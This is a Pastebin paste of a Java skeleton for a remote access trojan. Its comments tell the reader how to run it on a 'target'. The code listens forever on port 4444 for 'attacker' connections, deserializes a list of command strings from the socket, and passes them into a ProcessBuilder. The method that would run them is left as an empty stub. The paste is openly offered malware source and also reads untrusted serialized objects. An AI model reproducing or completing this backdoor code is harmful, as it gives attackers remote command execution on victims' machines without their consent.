Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- import java.io.IOException;
- import java.io.InputStream;
- import java.io.ObjectInputStream;
- import java.io.OutputStream;
- import java.net.ServerSocket;
- import java.net.Socket;
- import java.util.ArrayList;
- public class RAT {
- public static void main(String[] args){
- try {
- // I assume that you want the attacker to connect to the target
- // if you want the target to connect to the attacker, use Socket
- // second param in Ctor call, indicates how many connection to handle, in this case, just 1
- ServerSocket serverSocket = new ServerSocket(4444,1);
- // an infinite loop, because you want this to run for ever on your target
- while(true){
- Socket attackerSocket = serverSocket.accept();
- // Trust me, you dont want the main thread to handle this crap
- // () -> lambda in java, (finally?)
- new Thread(() -> {
- communicateWithAttacker(attackerSocket);
- }).start();
- }
- } catch (IOException e) {
- e.printStackTrace();
- }
- }
- // Normally, everything below i'd put in a separated class, read about SOLID principles
- private static void communicateWithAttacker(Socket attackerSocket){
- //its good practice
- if(attackerSocket == null)
- throw new NullPointerException("attackerSocket");
- // i hate this forced try/catch blocks
- try {
- OutputStream outputStream = attackerSocket.getOutputStream();
- ObjectInputStream objectInputStream = new ObjectInputStream(attackerSocket.getInputStream());
- // i assume that you will send an unencrypted array of commands
- ArrayList<String> commands = (ArrayList<String>) objectInputStream.readObject();
- // do something with those commands, and maybe return a result?
- doSomethingWithCommands(new ProcessBuilder((commands)));
- // continue response logic here;
- } catch (IOException e) {
- e.printStackTrace();
- } catch (ClassNotFoundException e) {
- e.printStackTrace();
- }
- }
- private static void doSomethingWithCommands(ProcessBuilder processBuilder)
- {
- if (processBuilder == null)
- throw new NullPointerException("processBuilder");
- //do something with the commands, and maybe return some results?
- }
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement